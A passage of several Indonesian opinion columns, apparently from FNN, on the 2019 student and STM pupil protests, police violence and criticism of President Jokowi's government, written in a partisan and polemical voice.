pikiran yang jernih untuk memahami gerakan yang muncul ini. Gejolak yang terjadi akan menjadi amukan yang keras kalau tidak muncul kesadaran negarawan dari para elit yang berkuasa. Sebab munculnya tuduhan terhadap gerakan mahasiswa tidak menyulutkan "kemarahan" dan kegelisahan publik. Sekarang yang bergerak bukan hanya mahasiswa, simpati datang dari berbagai lapisan masyarakat. Arahnya akan menuju pada "amukan massa" yang kuat dan tentu akan menggoncang singgasana kekuasaan. Wallahualam bis shawab Penulis adalah Dosen Fak. Hukum, Fak. Ilmu Sosial dan Politik Universitas Muhammadiyah Jakarta dan Vice Presiden KAI

Siapa Berani Menunggangi Anak-anak STM?

Anak-anak STM yang selama ini dipandang sebelah mata, tukang tawur, biang rusuh, tetiba menjadi pahlawan. Level “kepahlawanan” mereka tak kalah dibandingkan para kakaknya, mahasiswa. Oleh Hersubeno Arief Indonesia tiba-tiba punya super hero baru. Mereka adalah pelajar STM. Foto, video dan aksi mereka di sekitar Gedung DPR menguasai pemberitaan media. Di media sosial lebih heboh lagi. Ada yang membuat meme dan menyebut mereka sebagai the real Avengers, merujuk fim super hero Amerika. Tagar #STMMelawan menjadi trending topic dan menguasai dunia maya. Nama STM tampaknya sengaja tetap disandang — bukan SMK (Esemka) — karena terkesan lebih garang dan legend. Apalagi nama Esemka sudah poluted. Tercemar karena digunakan secara over, sebagai pencitraan oleh Presiden Jokowi. Munculnya ribuan pelajar pada aksi Rabu (24/9) menjadi kejutan terbesar kedua, yang mengguncang jagad politik Indonesia. Sebelumnya, gerakan mahasiswa yang lama mati suri, tiba-tiba muncul seperti air bah. Banyak yang kesulitan mendefinisikan, apalagi menjelaskan fenomena munculnya aksi mahasiswa di seluruh Indonesia ini. Dipastikan kita akan lebih kesulitan lagi untuk menjelaskan fenomena #STMMelawan. Yang sudah pasti, dua aksi ini akan menjadi catatan paling menarik dalam sejarah kontemporer politik Indonesia. Pelajar STM yang selama ini identik tukang tawuran, tiba-tiba menjadi hero yang dielu-elukan di medsos. Aksi-aksi mereka menyita hampir semua ruang percakapan medsos. Mulai dari aksi heroik mereka menghadang serbuan water canon polisi, aksi mereka mengejar polisi lalu lintas, sampai suasana mengharukan ketika mereka berbaris antri mencium tangan seorang nenek-nenek. Semua viraaaalllll…… Garang, radikal, tapi tetap menjunjung norma sopan santun. Menghormati dan takzim terhadap orang tua. Barangkali inilah peristiwa yang paling tepat untuk menggambarkan sebuah momentum: FROM ZERO TO HERO! Anak-anak STM yang selama ini dipandang sebelah mata, tukang tawur, biang rusuh, tetiba menjadi pahlawan. Level “kepahlawanan” mereka tak kalah dibandingkan para kakaknya, mahasiswa. Banyak mahasiswa yang hanya bisa geleng-geleng kepala, memandang takjub aksi pelajar STM. Angkat topi! Mereka jauh lebih berani, lebih nekad, tapi juga lebih sistematis dan terorganisir dibandingkan mahasiswa. Jam terbang mereka “mengorganisasikan,” dan praktik tawuran di lapangan, harus diakui jauh lebih tinggi dibandingkan mahasiswa. Siapa yang menunggangi? Berbeda dengan aksi mahasiswa, kali ini tidak muncul lagi pertanyaan nyinyir: Siapa yang menunggangi mereka? Selain kaget, memang agak sulit menarik-narik aksi pelajar STM ini ke ranah politik. Seorang pelajar STM membisikkan, mengapa mereka bisa dengan cepat terorganisir dan begerak. Selama ini mereka punya group percakapan di medsos (WAG) yang dipergunakan untuk membuat event tawuran. Di WAG ini mereka sering membuat janji dengan sekolah mana, kapan, jam berapa dan dimana tawuran akan diselenggarakan. Kali ini WAG ini mereka gunakan untuk mengorganisir aksi di Gedung DPR. Sangat efektif. Hanya dalam waktu singkat mereka bergerak ke gedung DPR. Tak perlu memikirkan ongkos transportasi. Mereka terbiasa “membajak” kendaraan umum yang lewat. Termasuk truk trailer pengangkut kendaraan yang lewat. Genk-genk di beberapa sekolah yang selama ini saling mengintai, dan mengincar bersatu padu. Jadilah aksi seperti yang kita saksikan bersama. Heroik….tak kenal takut. Benar seperti aksi mahasiswa, aksi pelajar ini juga mengalami pengembosan. Buzzer pemerintah dan polisi mencoba mengaitkannya dengan kelompok tertentu yang menungganginya. Melalui akun @TMCPoldaMetro polisi sempat mengabarkan menangkap sejumlah mobil ambulans Pemprov DKI sebagai penyuplai batu pengunjukrasa. Berdasarkan mesin pemantau percakapan Drone Emprit, isu adanya mobil ambulans penyuplai batu ini banyak dicuitkan oleh akun-akun pendukung pemerintah. Top influencer pemerintah @OneMurtadha, @Yusuf_dumdum berada dalam kluster yang mencoba membelokkan isu ini. Laman CNN.com malah menyebut buzzer top pendukung Jokowi @dennysiregar7 malah lebih dulu mengunggah konten itu sebelum TMCPoldaMetro. Isu ini arahnya jelas. Yang disasar Gubernur DKI Jakarta Anies Baswedan. Sangat kelihatan sekali benang merah dari pendukung pemerintah. Mereka mencoba membelokkan dan menggembosi berbagai aksi. Mereka menerapkan kembali ramuan lama, hantu Islam Radikal. Mereka coba membangun opini aksi ditunggangi oleh kelompok oposisi, khususnya umat Islam. Dalam aksi mahasiswa, yang dituding menjadi penunggang adalah kelompok radikal dan khilafah. Sementara pada pelajar STM Anies Baswedan. Seorang gubernur yang didukung oleh kalangan muslim. Sayangnya dagangan politik yang sukses dijual pada pilpres lalu dan sukses menghancurkan Prabowo, kali ini tidak laku. Dalam aksi 21-22 Mei polisi juga menangkap sopir mobil ambulans milik Partai Gerindra. Tuduhannya sama. Menyuplai batu untuk pengunjukrasa. Publik tidak lagi percaya isu itu. Apalagi belakangan polisi mengakui salah. Tidak benar mobil ambulans milik Pemprov DKI dan PMI itu menjadi penyuplai batu. Modus mencari kambing hitam, menuding adanya kelompok -kelompok yang menunggangi aksi, tidak akan menyelesaikan masalah. Dalam beberapa kasus pemerintah sering salah memahami anotomi persoalan. Mulai dari kasus Papua, kebakaran hutan, dan aksi unjukrasa mahasiswa dan pelajar STM. Dalam kasus Papua Presiden Jokowi mengundang 61 orang yang disebut sebagai tokoh dan kepala suku. Namun ternyata figur yang diundang bukanlah representasi masyarakat Papua. Gubernur Papua dan sejumlah tokoh protes. Kerusuhan terus berlangsung. Peristiwa terbaru dalam kerusuhan di Wamena puluhan orang tewas. Kali ini sebagai respon atas unjukrasa besar-besaran yang terjadi di seluruh Indonesia, Presiden juga kembali mengundang sejumlah tokoh, dipimpin pendiri majalah Tempo Goenawan Mohammad. Mayoritas yang diundang adalah figur pendukung Jokowi. Mereka antara lain Mahfud MD, Syafii Maa’rif dan Abdillah Toha. Tokoh-tokoh ini bukanlah representasi mahasiswa. Juga bukan representasi rakyat Indonesia yang tidak puas terhadap pemerintahan Jokowi. Aksi mahasiswa dan pelajar kali ini ada kemiripan dengan gerakan protes mahasiswa di Hongkong. Leaderless Movement. Tidak ada yang menjadi pemimpin. Lha kok Presiden malah mengundang orang-orang yang selalu merasa menjadi “pemimpin.” Seperti sebuah peribahasa: Kepala yang gatal, tapi kaki yang digaruk. Yang gatal tidak sembuh, yang tidak gatal malah menjadi luka baru. End Penulis adalah Wartawan Senior

Apakah Aparat Keamanan Perlu Brutal Menghadapi Mahasiswa?

Besar kemungkinan para mahasiswa tidak menyangka kalau aparat keamanan akan berlaku kejam, sadis, dan brutal. Sampai tega menghajar pendemo yang sudah babak belur pun masih dikeroyok juga. Para mahasiswa sudah seperti musuh negara By Asyari Usman Jakarta, FNN - Banyak rekaman video tentang tindakan keras, sadis, dan brutal yang dilakukan oleh aparat keamanan terhadap aksi unjuk rasa (unras) yang dilancarkan mahasiwa dan pelajar sekolah menengah dalam 3-4 hari ini. Baik itu di Jakarta maupun di kota-kota lain. Banyak mahasiswa yang mengalami luka-luka berat dan ringan. Mereka berdarah-darah. Ada yang bocor kepala, koyak bibir, benjol dahi, dan lain sebagainya. Apakah aparat memang perlu bertindak begitu kasar dan brutal? Apakah para mahasiswa membawa senjata? Bukankah pada dasarnya mereka mahasiswa dan pelajar tersebut berunjuk rasa untuk menyampaikan aspirasi dengan tertib? Dari kacamata aparat, tampaknya mereka merasa tindakan keras dan brutal itu harus dilakukan. Alasan aparat, karena para mahasiswa anarkis. Mereka dikatakan menyerang aparat. Melempari aparat dengan batu dan benda-benda berbahaya. Tapi, apakah tidak perlu dipikirkan mengapa sampai para mahasiswa itu terpancing menyerang dan anarkis ? Apakah aparat tidak merasa bahwa mereka, mungkin saja melakukan taktik yang membuat para mahasiswa terpancing? Kalau dilihat rekam jejak mahasiswa pasca-reformasi, mereka kelihatannya bukanlah orang-orang yang terbiasa bertindak anarkis. Bahkan mereka jarang mau turun ke jalan berdemo. Artinya, rata-rata mahasiswa sekarang ini tidak mudah dikerahkan untuk turun ke jalan berdemo. Apalagi sampai disuruh membuat kerusuhan segala. Setelah mengamati unjuk rasa mahasiswa di berbagai tempat, saya berpendapat para mahasiswa yang turun ke jalan dalam seminggu ini lebih banyak memperlihatkan perilaku yang tidak anarkis. Mereka itu boleh dikatakan para demonstran pemula. Dalam arti, baru pertama kali ikut berunjuk rasa. Besar kemungkinan para mahasiswa tidak menyangka kalau aparat keamanan akan berlaku kejam, sadis, dan brutal. Sampai tega menghajar pendemo yang sudah babak belur pun masih dikeroyok juga. Para mahasiswa sudah seperti musuh negara Bahkan, ada rekaman video yang menunjukkan aparat keamanan yang sedang mementungi sejumlah pengendara sepeda motor yang sedang berhenti karena jalan macet. Padahal, para pengendara yang dipentungi aparat tersebut tidak ada kaitannya dengan kegiatan unjuk rasa. Sangat mengherankan juga prilaku apara keamanan. Ada pula video yang memperlihatkan belasan aparat tiba-tiba saja memukuli seorang anak muda yang sedang berjalan menuju gerbang gedung. Diduga ini terjadi di Medan. Anak muda itu dipukul dengan pentungan, dengan tangan, dan ditendang sampai tersungkur. Setelah itu, masih dikeroyok lagi. Kemudian, entah di mana kejadiannya, satu video menunjukkan kerumunan aparat berseragam ‘riot gear’ (perlengkapan anti huruhara) sedang mengeroyok seseorang yang sudah terkapar di dekat dinding bangunan kaca. Tanpa baju, orang itu ditendang dan dipukuli sekuat tenaga oleh kawanan aparat. Terdengar seorang wanita berteriak-teriak agar aparat berhenti mengeroyok orang yang sudah tak berdaya tersebut. Tampaknya korban pengeroyokan itu paling tidak menderita luka berat. Atau mungkin juga sudah menemui ajalnya. Luar biasa. Sadis. Beringas. Brutal. Pengeroyokan oleh kawanan aparat model begini sudah sering terekam video. Ingin bertanya, apakah cara ini sudah menjadi prosedur baku di kalangan aparat keamanan? Begitukah SOP mereka yang dibiayai, digaji dan diberikan remunirasi dengan uang dari pajak rakyat itukah? Apakah harus brutal menghadapi pendemo? Haruskah sadis menghadapi mahasiswa? Penulis adalah Wartawan Senior

The Avenger Team STM

Oleh Kafil Yamin Jakarta, FNN - Kehadirannya tak terduga. Di luar sangkaan siapapun. Aksi sedang deadlock karena penjagaan ketat dan keberingasan polisi. Sudah banyak mahasiswa yang tumbang. Tetiba mereka muncul dari satu arah. Berseragam sekolah, dan hampir semuanya menggendong tas punggung sekolah. Para mahasiwa yang lagi demo pada heran: “Adik-adik mau kemana?” Dengan enteng salah seorang mereka bilang: “Sekarang kakak mundur dulu. Kami yang maju. Kakak yang orasi. Kami yang eksekusi.” Cerita selanjutnya, sudah banyak diketahui warganet. Saya ingin mengabadikan kehadiran mereka melalui beberapa simpulan: #Kekompakan#. Mereka bergerak teratur. Taktis. Luar biasanya, seperti tanpa komando. Tanpa pemimpin. Hanya saling teriak di antara mereka. Ini menunjukkan kerja tim yang luar biasa. Sampai sekarang, orang tak tau yang mana pemimpinnya, koordinatornya. Wajar kalau polisi kesulitan menundukkan mereka. Beda dengan kakak-kakaknya, yang terlihat ada pemimpin, jurubicara, yang gampang diundang, dinego, diarahkan. Para anggota DPR yang mereka geruduk pun dulunya aktifis mahasiswa. #Kepercayaan diri#. Mereka maju ke hadapan polisi bukan saja dengan berani, tetapi dengan riang. Jauh dari rasa panik dan takut. Dengan peralatan unik berupa sapu lidi dan batangan kayu, mereka mengintimidasi polisi. Tidak lama barisan polisi itu panik, tercerai berai. Dan dengan ringan, mereka membajak kendaraan polisi. Mereka menggiring kendaraan polisi yang dibajak ke barisan mahasiwa. Lalu mereka rame-rame berfoto dengannya. #Taktis-strategis#. Entah darimana kebisaan mereka menanggkal serangan polisi. Tapi jelas mereka ‘know what they are doing’. Memancing polisi menembakkan gas air mata. Dengan refleks melemparnya balik lagi ke arah polisi. Semprotan air dari mobil polisi, mereka sambut seperti pesta. “Gua mau air! Gua mau air! Sini tambah lagi airnya!”. Begitulah teriak mereka kepada polisi. Setelah beberapa lama, polisi tampak kehabisan air dan amuinisi. Giliran mereka yang balik menyerang polisi. Polisi mundur dan terkurung di apartemen Semanggi. Komandan polisi berbicara di airphone minta damai. #Norma dan etika#. Beberapa warganet bilang mereka barbar dan dan liar. Itu penilaian yang sangat kurang ajar. Mereka punya norma, dan prinsip yang kuat. Ketika menggiring kendaraan polisi, seorang dari mereka teriak: “Jangan rusuh woi! Jangan rusuh!” Mereka semua taat pada teriakan "Jangan rusuh woi!". Lalu mereka membiarkan kendaraan itu lepas. Disatu sudut ‘pertempuran’, adzan maghrib terdengar. Pada saa yang bersamaan, polisi masih saja menembakkan gas air mata. Namun seorang dari mereka berteriak: “Tahan dulu Woi! Ga belajar ngaji lo?” #Mengalir lepas#. Dengan pikiran lepas mereka melihat dunia tak banyak batasan untuk melakukan aksi. 'Against the odds'. Mereka menerobos berbagai ketidakmungkinan. Seorang mereka bilang bahwa bantuan akan datang sebentar lagi. “Pake apa? Pake Motor?” tanya kakak mereka yang mahasiswa. “Kakak liat aja nanti,” jawab si adik. Dan, gila gila benar-benar gila. Mereka mendatangkan bantuan datang dengan menggunakan Transformer. Kendaraan yang digunakan untuk mengangkut kendaraan. Tentu saja bisa mengangkut orang sekampung! Bagaimana mereka bisa mendapatkan kendaraan itu. Tidak mungkin mereka bisa menyewanya. Sebab kebanyakan dari mereka bahkan tak punya ongkos. Ternyata mereka membajaknya. Sang sopir pasti sudah tau risikonya kalau menolak kemauan mereka. Tetapi ini kan untuk perjuangan. Mereka bergerak sangat efektif, taktis, dan mengagumkan. Tanpa sokongan dana dan fasilitas dari siapapun. Malam harinya, seorang ibu memergoki sekelompok dari mereka sedang makan di Warteg. Beberapa di antaranya ternyata masih siswa kelas I SMP. “Sang ibu bertanya kepada mereka, kalian ada ongkos untuk pulang?” Yang mereka jawab dengan enteng saja: “Nunggu truk aja Bu.”Si Ibu yang pemurah itu lantas membayari makan mereka dan memberi ongkos pulang untuk mereka. Kadang, atau mungkin juga kita perlu belajar dari mereka. Meski mereka hanya anak-anak siswa STM dan SMP yang kita tak terlalu menganggap mereka penting tersebut. Penulis adalah wartawan Senior

Jokowi Sumber Masalah

Jokowi Sumber Masalah! Pendukungnya akan marah membaca kalimat yang saya tulis berulang-ulang. Padahal, para pendukungnya jugalah yang teriak-teriak agar SBY turun dari jabatannya. Teriakan ini disampaikan dengan lantang saat pemerintah SBY waktu itu menaikkan harga bahan bakar minyak (BBM) bersubsidi. Oleh Mangarahon Dongoran Jakarta, FNN - JUDUL ini akan membuat pendukungnya mencari pembenaran atas apa pun yang dilakukan Jokowi. Mereka akan melakukan pembelaan habis-habisan. Ya, pembelaan membabi buta. Eeh babi saja tidak buta. Mereka pasti tidak suka jika junjungannya disalahkan atas berbagai peristiwa politik, hukum, ekonomi, dan sosial yang sedang melanda negeri ini. Berbagai ketidakadilan, ketimpangan, dan keberpihakan (terutama berpihak pada aseng) membuat rakyat (kecuali pendukung gila-gilaan seperti Abu Janda serta Deny Siregar dan kawan-kawannya) frustrasi, emosi, dan naik tensi. Buntutnya, demonstrasi hampir tiap hari. Akibatnya, demonstran yang terdiri dari berbagai elemen masyarakat dipukuli polisi. Banyak yang terluka dan sesak napas' dan bahkan (peristiwa 21 dan 22 Mei 2019, peristiwa di Papua) membuat puluhan korban meninggal dunia. Jokowi sumber masalah! Pendukungnya pasti marah atas tulisan saya ini. Akan tetapi, sebagai wartawan senior yang malang-melintang meliput aksi-aksi demo nasional di Jakarta, sumber masalahnya selalu di Presiden yang sudah sulit dipercaya rakyat. Jokowi sumber masalah! Wahai para pendukung Jokowi yang juga sebagian pelaku aksi demonstrasi 1998, Anda juga meneriakkan agar Soeharto lengser. Anda juga meneriakkan agar BJ Habibie turun dari jabatannya. Demikian juga saat Abdurrahman Wahid didemo, yang Anda keluarkan adalah agar Gus Dur turun dari jabatan sebagai presiden. Di masa Gus Dur teriakan Anda kencang karena Anda mengharap Megawati jadi Presiden dan ternyata jadi. Semasa Mega jadi presiden, demonstrasi boleh dikatakan relatif tidak ada. Soeharto dan Gus Dur turun karena demo dan kekacauan. Sedangkan Habibie turun karena pidato pertanggungjawabannya ditolak dalam Sidang Istimewa MPR. Sedangkan Megawati turun karena tidak dipilih rakyat dalam pemilihan langsung pertama tahun 2004. Jokowi sumber masalah! Pendukungnya akan marah membaca kalimat yang saya tulis berulang-ulang. Padahal, para pendukungnya jugalah yang teriak-teriak agar SBY turun dari jabatannya, saat pemerintah waktu itu menaikkan harga bahan bakar minyak bersubsidi. Makanya, jangan salahkan jika sekarang ada meme di medsos yang menulis, "Dicari orang hilang..." Siapa lagi kalau bukan antara lain Diah Pita Loka alias Oneng, Eva Sundari, Adrian Napitupulu yang menjadi penggerak demo waktu itu. Jokowi sumber masalah! Pendukungnya pasti marah. Sewaktu majalah Tempo memuat gambar sampul pinokio yang disandingkan dengan Jokowi, pendukungnya demo ke Dewan Pers dan berencana melaporkan ke polisi. Padahal, di jaman SBY kerbau atau kerbo yang Anda giring di Bundaran Hotel Indonesia dan ditulis SiBuaYa atau yang terlihat jelas SBY, tak ada demo tandingan dan tak ada lapor atau rencana melaporkan ke polisi. Jokowi sumber masalah! Ini bukan pendukung yang marah. Jika Jokowi membaca tulisan saya ini dia akan mengeles. "Kok saya yang disalahkan!" Mengapa Jokowi yang tidak pernah memasukkan baju ke celana itu (kecuali pake jas) ngeles. Pembaca harus maklum dan ingat akan kalimat-kalimatnya jika ditanyakan wartawan atas sesuatu hal atau peristiwa. Inilah antara lain kalimatnya itu. "Bukan urusan saya. Saya kaget. Jangan tanya saya. Saya belum tahu. Itu urusan menteri nganu." Bahkan, ketika menyebut pertumbuhan ekonomi yang berada pada kisaran 5 persen per tahun selama pemerintahannya, tidak disyukuri, akan kufur nikmat. Semua orang ketawa membaca dan mendengarkan kalimatnya itu (kecuali pendukungnya). Orang juga tahu bersyukur atas setiap yang diberikan Allah subhanahu wa ta'ala. Justru, Jokowi-lah yang tidak mampu mendongkrak pertumbuhan 7 persen sesuai janjinya. Berarti, janji tidak ditepati. Jika presiden saja mengeluarkan jawaban-jawaban seperti itu, mau dibawa ke mana negeri ini? Jawabannya, "Jokowi sumber masalah. Titik," **

People Power, Gerakan Mahasiswa, dan Masa Depan Rezim Jokowi

Oleh Dr. Syahganda Nainggolan (Sabang Merauke Circle) Jakarta, FNN - "Jokowi turun, Jokowi turun..., Jokowi turun", demikian sebagian lagu-lagu dari sebagian mahasiswa long march ke DPR dan di berbagai daerah ke DPRD beberapa hari belakangan ini. Meskipun tuntutan semula mahasiwa hanya pada DPR terkait revisi UU KPK, aksi mahasiwa meluas ke arah pusat kekuasaan yakni Jokowi. Sebab, memisahkan DPR yang dikuasai Jokowi dengan Jokowi sendiri, yang turut mendukung revisi UU tersebut tidak mungkin terjadi. Hari ini gerakan mahasiswa tidak surut karena kemarin gerakan ini dipatahkan oleh aparat polisi. Beberapa mahasiswa terluka, dan sebagaian pecah kepala dan pendarahan otak. Bahkan, dikabarkan seorang mahasiwa meninggal akibat kekerasan fisik yang dialami saat bentrok dengan aparat. Tidak surutnya gerakan ini bahkan ditandai dengan munculnya gerakan remaja alias siswa. Hari ini dan kemarin anak-anak STM (Sekolah Teknik Menengah) datang ke DPR, malah lebih berani dari seniornya mahasiswa. Beberapa video viral menunjukkan anak-anak remaja ini menyerang aparat dan menendang-nendang mobil patroli aparat. Kemarin saya sudah menulis bahwa "the unprecedented" adalah situasi baru era sekarang ini, yang dijelaskan oleh professor Shoshona Zuboof of Harvard University dalam "the Surveillance Capitalism", 2019, untuk melihat bahwa suatu kejadian besar haruslah secara serial dari sesuatu yang kecil. Hal ini untuk menjelaskan publik kenapa gerakan mahasiswa tiba-tiba saja besar, tanpa gerakan kecil dalam skala kampus maupun kota. Pada kesempatan ini saya ingin menambahkan penjelasan teoritik situasi sekarang ini dengan menambah suatu kazanah baru dalam ilmu sosial, yang disebut "Youthquake". James Sloam dan Matt Henn dalam "Youthquake 2017: The Rise of Young Cosmopolitans in Britain", Palgrave, 2018, melihat berbagai kebangkitan politik anak-anak usia remaja, 18-24 tahun di berbagai negara Eropa dan Amerika. Kebangkitan politik ini bukan dalam pengertian elektoral alias partai politik dan parlemen, melainkan antara lain kepedulian pada isu2 kebebasan, kemanusian, lingkungan hidup dan anti korupsi. Gerakan mahasiwa dan remaja ini pada intinya adalah "anti establishment", dan sensitif terhadap kesombongan kekuasaan. Dalam kasus di Inggris, penulis ini menunjukkan adanya pergeseran kaum mudah menjadi pro pada "globalist-left", setelah isu Brexit. The unprecedented dan Youthquake di atas penting untuk dipahami kekuasan dan kaum cendikiawan untuk menilai bahwa tuduhan bahwa gerakan mahasiswa ini ditunggangi atau diarahkan untuk kepentingan tertentu tidak berdasar. Dengan alasan teoritik yang tepat tentu kita mengetahui bahwa gejala sosial di Indonesia, sesungguhnya adalah penyebab utama gerakan mahasiswa dan juga remaja kita saat ini. Gejala sosial itu antara lain ditunjukkan oleh kesombongan kekuasaan dalam kasus lingkungan hidup kebakaran hutan, isu pindah ibukota dan revisi UU KPK yang tidak mengindahkan dialog pada rakyat. Independensi Gerakan dan Pengkhianatan Demokrasi Ray Rangkuti, intelektual pendukung rezim Jokowi, yang juga pelaku utama reformasi 98, sudah dua hari ini menjelaskan bahwa gerakan mahasiswa saat ini adalah gerakan murni, tidak ditunggangi. Dia juga berharap agar kawan-kawan angkatan 1998, khususnya Masinton Pasaribu dan Fahri Hamzah, tidak menyepelekan gerakan ini. Persoalannya kemudian adalah gerakan murni ini dihalau dengan kekuasaan. Pada 12 April 1989, misalnya, kepala Fadjroel Rahman, komisaris utama Adhi Karya, otak rezim Jokowi, kepalanya pecah dipukul polisi, ketika demo mahasiswa di Bandung. Pada saat itu setting politik Indonesia Orde Baru memang bukan demokrasi, melainkan otoriter, sehingga gerakan mahasiswa haruslah dimusnahkan. Namun, pecahnya kepala mahasiswa saat ini, sangat kontras dengan klaim Indonesia sebagai negara demokrasi terbesar. Menyerang gerakan-gerakan rakyat seperti kelompok-kelompok Islam 212, oleh kekuasaan Jokowi, dengan alasan kelompok-kelompok ini dituduhkan mempunyai ciri-ciri radikalisme dan fanatisme agama, mungkin masih dapat diterima sebagian kelompok-kelompok pro-demokrasi. Namun, ketika gerakan mahasiswa, yang merupakan gerakan non-ideologis kiri/kanan, mengalami penghalauan dengan kekerasan, semua akhirnya harus meyakini bahwa rezim ini tidak "compatible" dengan demokrasi. Pandangan Ray Rangkuti hanyalah "puncak gunung es" dari elemen-elemen pendukung Jokowi. Sebelumnya media pendukung Jokowi, TEMPO, sudah membuat karikatur Jokowi dengan bayangnya Pinokio dan JP membuat karikatur Jokowi dengan bayangan Suharto. Di balik "puncak gunung es" ini tentu ada kekuatan besar rakyat Indonesia yang kecewa dengan Jokowi. Pengkhianatan demokrasi buat mereka adalah kebiadaban besar. Hal ini tertutupi ketika 5 tahun belakangan ini Indonesia terbelah dalam politik identitas. Setelah Pemilu usai, maka pengkhianatan ini menjadi muncul kepermukaan. Masa Depan Rezim Jokowi Jokowi telah memenangkan pilpres 2019. Dalam memasuki term keduanya, Jokowi dihadapi kenyataan bahwa demokrasi mati atau hampir mati di bawah kekuasannya. Persoalannya kemudian apakah rakyat menerima kehidupan autokrasi ke depan? Khususnya ketika globalisasi era internet ini mengantarkan dunia pada kebebasan sipil. Jika rezim Jokowi akan mengelola pemerintahan tanpa demokrasi, Jokowi harus mampu seperti Suharto di masa orde baru, yang mengangkat ekonomi Indonesia menjadi salah satu negara "new emerging countries". Jika Jokowi memberlakukan autokrasi tapi ekonomi terus memburuk, maka pembrontakan rakyat tidak mungkin terhindarkan. Catatan Akhir Keberanian mahasiwa dan anak-anak remaja sekolah menengah tidak kalah dari kelompok-kelompok Islam 212 dalam membicarakan kebenaran dan keadilan. Gejala dunia di mana kebangkitan kalangan remaja yang anti-establishment meningkat, sudah saatnya kekuasaan dikelola dengan demokrasi dan dialog. Apalagi ketika keadilan sosial yang dijanjikan negara tidak terpenuhi. Pengkhianatan terhadap demokrasi dan komitmen pemberantasan korupsi akan menjadi sumber ketidakstabilan bagi rezim Jokowi ke depan. Termasuk elit-elit partai-partai pendukung Jokowi. Hati hati, gerakan people power bisa segera terjadi. Lihatlah tagar #AnakSTM sudah mencapai 356.000 tweets dan #STMmelawan 238.000 tweets belum sampai 12 jam di medsos. Dunia medsos akan mempercepat krisis jika kekuasaan Jokowi tidak hati-hati meng "handle" situasi yang ada. Satu-satunya jalan bagi Jokowi adalah kembali pada demokrasi dan dialog sosial politik. End.

Gerakan Mahasiswa 2019: Manusia Bodoh dan Kuda Tunggang?

Oleh : Hersubeno Arief Jakarta, FNN - “Ditunggangi” menjadi kosa kata itu paling banyak disematkan kepada aksi mahasiswa 2019. Anehnya kosa kata yang sangat disukai oleh penguasa Orde Baru itu, kali ini tidak hanya digunakan oleh penguasa dan para pendukungnya. Kelompok-kelompok oposisi tertentu dengan senang hati menggunakannya. Pendukung pemerintah mencoba menggunakan mantra lama yang sukses pada Pilpres 2019: Aksi mahasiswa kali ini ditunggangi oleh kelompok khilafah dan radikal! Stigma ini disematkan dalam aksi mahasiswa di Yogya dengan tajuk: Gejayan Memanggil. Tujuannya untuk mengaborsi gerakan mahasiswa dan menimbulkan ketidak-percayaan publik. Sebaliknya beberapa kelompok oposisi juga mengamati dengan waspada dan curiga. Mereka mencurigai gerakan mahasiswa ini dimanfaatkan rezim pemerintah. Tujuannya untuk mengalihkan perhatian publik dari beberapa isu yang tengah mendera pemerintah. Berbagai teori konspirasi dikembangkan. Salah satu argumennya: mengapa tiba-tiba mahasiswa bergerak tak terbendung. Selama ini kemana saja? Pasti ada yang menggerakkan. Apes benar! Menjadi mahasiswa dalam posisi serba salah. Diam saja ketika terjadi hiruk pikuk politik, dibullly. Begitu turun ke jalan dicurigai. “Mahasiswa itu bukan manusia bodoh,” ujar Ketua BEM Universitas Gajah Mada (UGM) Atiatul Muqtadir (Fatur) dalam talkshow ILC TV One Selasa (24/9). Siapapun menyaksikan para ketua BEM mahasiswa saat tampil di ILC bersama Fatur, pasti sepakat dengannya. Fatur tampil memukau dan menjadi trending di dunia maya. Basis argumentasinya jelas. Sikapnya terhadap isu nasional yang dipersoalkan juga jelas dan tegas. Perbedaan generasi Mengapa sampai muncul kecurigaan terhadap aksi mahasiswa, terutama dari kelompok-kelompok oposisi tertentu? Pendekatan secara sosiologis bisa membantu kita menjawabnya. Penjelasannya adalah adanya perbedaan sosiologis antar-generasi. Generation gap. Latar belakang dan pengalaman hidup yang berbeda antar-generasi, membuat respon mereka juga berbeda ketika menghadapi sebuah situasi. Dua orang penulis asal Amerika Serikat William Strauss dan Neil Howe yang pertamakali memperkenalkan Generation Theory. Berdasarkan pembagian Strauss dan Howe setidaknya ada tiga generasi yang saat ini aktif di dunia bisnis, politik, pemerintahan, dan organisasi kemasyarakatan di Indonesia. Generasi Baby boomer (1946-1966). Generasi X (1965-1980). Generasi Milenial (1981-1994). Mereka berada di puncak kekuasaan. Lingkaran kekuasaan di seputar Presiden Jokowi didominasi oleh generasi baby boomer. Figur seperti Megawati, Wiranto, Luhut Panjaitan, Hendropriyono, termasuk Presiden Jokowi adalah generasi ini. Mereka adalah generasi pasca Perang Dunia II. Cenderung berorientasi pada pencapaian dalam karir secara konsisten. Mereka juga jauh dari era digital. Kalau toh mengenal dunia digital, mereka masuk kategori imigran digital. Mereka juga hidup di era otoriter (Orde Baru) dan kemudian memasuki masa transisi demokrasi (Reformasi 1998). Jadi mereka adalah imigran demokrasi. Generasi ini adalah double imigran. Digital sekaligus demokrasi. Sebagian lainnya adalah Generasi X dan Generasi Milenial. Mereka masuk dalam kelompok native digital, namun dari sisi demokrasi adalah imigran. Mahasiswa yang kini turun ke jalan, adalah Generasi Z (1995-2010). Termasuk dalam kelompok ini pelajar Sekolah Teknk Menengah (STM) yang pada hari Rabu (25/9) ikut berunjukrasa ke Gedung DPR. Mereka adalah generasi native digital, sekaligus native demokrasi. Begitu lahir sudah terintegrasi dengan dunia digital dan demokrasi sekaligus. Latar belakang dan pengalaman hidup yang berbeda, membuat mereka juga berbeda dalam merespon peristiwa dan keadaan. Bagi generasi imigran demokrasi, bila sudah masuk ke dunia politik, pemilu sudah dilaksanakan, maka sebuah negara dianggap sudah demokratis. Persoalan HAM, kebebasan pers, dan berbagai kebebasan individual tidak masuk dalam hitungan. Mereka beranggapan, indikator kepedulian mahasiswa bila terlibat dalam politik praktis. Ketika mahasiswa seperti tak peduli ketika generasi yang lebih tua, turun ke jalan selama pilpres, maka mereka dianggap apolitis. Bagi generasi Z, demokrasi tidak hanya sebatas parpol dan kontestasi pemilu. Banyak fitur demokrasi yang seharusnya bisa dimaksimalkan. Mulai dari kebebasan individu, berekspresi, penghargaan terhadap ras, gender, agama, pemerintahan yang demokratis, sampai penyelenggaraan negara yang bersih dari korupsi dan kolusi. Hal itu menjelaskan mengapa begitu muncul satu isu bersama, yakni pelemahan KPK, aksi mahasiswa bermunculan. Mulai dari kota-kota besar, sampai dengan kota-kota kecil di seluruh Indonesia. Isu-isu lain, hanya isu ikutan. Aparat keamanan, generasi tua tiba-tiba menjadi bingung. Makanya kemudian muncul pertanyaan: Siapa yang menggerakkan? Kok tiba-tiba muncul sangat massif. Jawaban yang paling mudah, menoleh pada referensi lama. 